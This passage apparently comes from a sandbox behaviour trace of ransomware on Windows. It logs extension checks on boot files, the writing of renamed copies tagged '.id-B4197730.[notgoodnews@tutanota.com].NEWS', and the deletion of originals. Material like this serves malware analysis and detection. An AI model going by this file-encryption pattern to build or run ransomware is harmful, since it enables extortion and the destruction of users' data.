lpString2=".mui") returned 1 [0074.098] lstrlenW (lpString=".bz2") returned 4 [0074.098] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.098] lstrlenW (lpString=".7z") returned 3 [0074.098] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.098] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.098] lstrlenW (lpString=".dbf") returned 4 [0074.098] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.098] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.098] lstrlenW (lpString=".1cd") returned 4 [0074.098] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.098] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.098] lstrlenW (lpString=".jpg") returned 4 [0074.098] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.099] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.099] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.099] lstrlenW (lpString=".doc") returned 4 [0074.099] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.099] lstrlenW (lpString=".docx") returned 5 [0074.099] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.099] lstrlenW (lpString=".pdf") returned 4 [0074.099] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.099] lstrlenW (lpString=".xls") returned 4 [0074.099] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.099] lstrlenW (lpString=".xlsx") returned 5 [0074.099] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.099] lstrlenW (lpString=".ppt") returned 4 [0074.099] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.099] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.099] lstrlenW (lpString=".zip") returned 4 [0074.099] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.099] lstrlenW (lpString=".rar") returned 4 [0074.099] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.099] lstrlenW (lpString=".bz2") returned 4 [0074.099] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.099] lstrlenW (lpString=".7z") returned 3 [0074.099] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.099] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.099] lstrlenW (lpString=".dbf") returned 4 [0074.099] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.099] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.099] lstrlenW (lpString=".1cd") returned 4 [0074.099] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.099] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0074.099] lstrlenW (lpString=".jpg") returned 4 [0074.099] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.100] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0074.100] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.100] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.100] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=77152) returned 1 [0074.100] CloseHandle (hObject=0x378) returned 1 [0074.100] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0074.100] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.100] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.100] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.100] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.100] lstrlenW (lpString=".doc") returned 4 [0074.100] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.100] lstrlenW (lpString=".docx") returned 5 [0074.100] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.100] lstrlenW (lpString=".pdf") returned 4 [0074.100] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.100] lstrlenW (lpString=".xls") returned 4 [0074.100] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.100] lstrlenW (lpString=".xlsx") returned 5 [0074.100] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.100] lstrlenW (lpString=".ppt") returned 4 [0074.100] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.100] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.100] lstrlenW (lpString=".zip") returned 4 [0074.101] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.101] lstrlenW (lpString=".rar") returned 4 [0074.101] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.101] lstrlenW (lpString=".bz2") returned 4 [0074.101] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.101] lstrlenW (lpString=".7z") returned 3 [0074.101] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.101] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.101] lstrlenW (lpString=".dbf") returned 4 [0074.101] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.101] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.101] lstrlenW (lpString=".1cd") returned 4 [0074.101] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.101] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.101] lstrlenW (lpString=".jpg") returned 4 [0074.101] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.101] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.101] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.101] lstrlenW (lpString=".doc") returned 4 [0074.101] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.101] lstrlenW (lpString=".docx") returned 5 [0074.101] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.101] lstrlenW (lpString=".pdf") returned 4 [0074.101] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.101] lstrlenW (lpString=".xls") returned 4 [0074.102] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.102] lstrlenW (lpString=".xlsx") returned 5 [0074.102] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.102] lstrlenW (lpString=".ppt") returned 4 [0074.102] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.102] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.102] lstrlenW (lpString=".zip") returned 4 [0074.102] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.102] lstrlenW (lpString=".rar") returned 4 [0074.102] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.102] lstrlenW (lpString=".bz2") returned 4 [0074.102] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.102] lstrlenW (lpString=".7z") returned 3 [0074.102] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.102] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.102] lstrlenW (lpString=".dbf") returned 4 [0074.102] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.102] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.102] lstrlenW (lpString=".1cd") returned 4 [0074.102] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.102] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0074.102] lstrlenW (lpString=".jpg") returned 4 [0074.102] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.102] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0074.102] lstrlenW (lpString="memtest.exe.mui") returned 15 [0074.102] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.102] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=44960) returned 1 [0074.103] CloseHandle (hObject=0x378) returned 1 [0074.103] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0074.103] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.103] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.103] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.103] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.103] lstrlenW (lpString=".doc") returned 4 [0074.103] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.103] lstrlenW (lpString=".docx") returned 5 [0074.103] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.103] lstrlenW (lpString=".pdf") returned 4 [0074.103] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.103] lstrlenW (lpString=".xls") returned 4 [0074.103] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.103] lstrlenW (lpString=".xlsx") returned 5 [0074.103] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.103] lstrlenW (lpString=".ppt") returned 4 [0074.103] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.103] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.103] lstrlenW (lpString=".zip") returned 4 [0074.103] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.103] lstrlenW (lpString=".rar") returned 4 [0074.103] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.103] lstrlenW (lpString=".bz2") returned 4 [0074.103] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.103] lstrlenW (lpString=".7z") returned 3 [0074.103] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.103] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.103] lstrlenW (lpString=".dbf") returned 4 [0074.103] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.103] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".1cd") returned 4 [0074.104] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".jpg") returned 4 [0074.104] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".doc") returned 4 [0074.104] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.104] lstrlenW (lpString=".docx") returned 5 [0074.104] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.104] lstrlenW (lpString=".pdf") returned 4 [0074.104] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.104] lstrlenW (lpString=".xls") returned 4 [0074.104] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.104] lstrlenW (lpString=".xlsx") returned 5 [0074.104] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.104] lstrlenW (lpString=".ppt") returned 4 [0074.104] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".zip") returned 4 [0074.104] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.104] lstrlenW (lpString=".rar") returned 4 [0074.104] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.104] lstrlenW (lpString=".bz2") returned 4 [0074.104] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.104] lstrlenW (lpString=".7z") returned 3 [0074.104] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".dbf") returned 4 [0074.104] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".1cd") returned 4 [0074.104] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.104] lstrlenW (lpString="C:\\Boot\\ru-RU\\memtest.exe.mui") returned 29 [0074.104] lstrlenW (lpString=".jpg") returned 4 [0074.105] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.105] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0074.105] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.105] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.105] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=77144) returned 1 [0074.105] CloseHandle (hObject=0x378) returned 1 [0074.105] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0074.105] GetFileAttributesW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.105] CreateFileW (lpFileName="C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.105] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.105] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.105] lstrlenW (lpString=".doc") returned 4 [0074.105] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.105] lstrlenW (lpString=".docx") returned 5 [0074.105] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.105] lstrlenW (lpString=".pdf") returned 4 [0074.105] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.105] lstrlenW (lpString=".xls") returned 4 [0074.106] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.106] lstrlenW (lpString=".xlsx") returned 5 [0074.106] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.106] lstrlenW (lpString=".ppt") returned 4 [0074.106] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.106] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.106] lstrlenW (lpString=".zip") returned 4 [0074.106] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.106] lstrlenW (lpString=".rar") returned 4 [0074.106] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.106] lstrlenW (lpString=".bz2") returned 4 [0074.106] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.106] lstrlenW (lpString=".7z") returned 3 [0074.106] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.106] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.106] lstrlenW (lpString=".dbf") returned 4 [0074.106] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.106] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.106] lstrlenW (lpString=".1cd") returned 4 [0074.106] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.106] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.106] lstrlenW (lpString=".jpg") returned 4 [0074.106] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.106] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.106] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.106] lstrlenW (lpString=".doc") returned 4 [0074.106] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.106] lstrlenW (lpString=".docx") returned 5 [0074.106] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.106] lstrlenW (lpString=".pdf") returned 4 [0074.106] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.106] lstrlenW (lpString=".xls") returned 4 [0074.106] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.106] lstrlenW (lpString=".xlsx") returned 5 [0074.106] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.106] lstrlenW (lpString=".ppt") returned 4 [0074.107] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.107] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.107] lstrlenW (lpString=".zip") returned 4 [0074.107] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.107] lstrlenW (lpString=".rar") returned 4 [0074.107] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.107] lstrlenW (lpString=".bz2") returned 4 [0074.107] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.107] lstrlenW (lpString=".7z") returned 3 [0074.107] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.107] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.107] lstrlenW (lpString=".dbf") returned 4 [0074.107] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.107] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.107] lstrlenW (lpString=".1cd") returned 4 [0074.107] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.107] lstrlenW (lpString="C:\\Boot\\sk-SK\\bootmgr.exe.mui") returned 29 [0074.107] lstrlenW (lpString=".jpg") returned 4 [0074.107] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.107] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0074.107] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.107] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.107] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=76640) returned 1 [0074.107] CloseHandle (hObject=0x378) returned 1 [0074.107] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0074.108] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.108] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.108] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0074.108] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0074.108] lstrlenW (lpString=".doc") returned 4 [0074.108] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.108] lstrlenW (lpString=".docx") returned 5 [0074.108] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.108] lstrlenW (lpString=".pdf") returned 4 [0074.108] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.108] lstrlenW (lpString=".xls") returned 4 [0074.108] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.108] lstrlenW (lpString=".xlsx") returned 5 [0074.108] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.108] lstrlenW (lpString=".ppt") returned 4 [0074.108] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.108] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0074.108] lstrlenW (lpString=".zip") returned 4 [0074.108] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.108] lstrlenW (lpString=".rar") returned 4 [0074.108] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.108] lstrlenW (lpString=".bz2") returned 4 [0074.108] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.108] lstrlenW (lpString=".7z") returned 3 [0074.108] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.108] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0074.108] lstrlenW (lpString=".dbf") returned 4 [0074.108] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.111] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0074.111] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.113] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.113] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\bootnxt.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0074.113] GetLastError () returned 0x0 [0074.113] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x1, lpOverlapped=0x0) returned 1 [0074.114] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x10, lpOverlapped=0x0) returned 1 [0074.115] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.115] WriteFile (in: hFile=0x37c, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0074.115] SetEndOfFile (hFile=0x37c) returned 1 [0074.115] CloseHandle (hObject=0x37c) returned 1 [0074.117] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.117] SetEndOfFile (hFile=0x378) returned 1 [0074.117] CloseHandle (hObject=0x378) returned 1 [0074.118] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0074.118] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0074.118] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.118] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.118] lstrlenW (lpString=".doc") returned 4 [0074.118] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0074.118] lstrlenW (lpString=".docx") returned 5 [0074.118] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0074.118] lstrlenW (lpString=".pdf") returned 4 [0074.118] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0074.118] lstrlenW (lpString=".xls") returned 4 [0074.118] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0074.118] lstrlenW (lpString=".xlsx") returned 5 [0074.118] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0074.118] lstrlenW (lpString=".ppt") returned 4 [0074.118] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0074.118] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString=".zip") returned 4 [0074.119] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".rar") returned 4 [0074.119] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".bz2") returned 4 [0074.119] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString=".7z") returned 3 [0074.119] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0074.119] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString=".dbf") returned 4 [0074.119] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString=".1cd") returned 4 [0074.119] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0074.119] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0074.119] lstrlenW (lpString=".jpg") returned 4 [0074.119] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 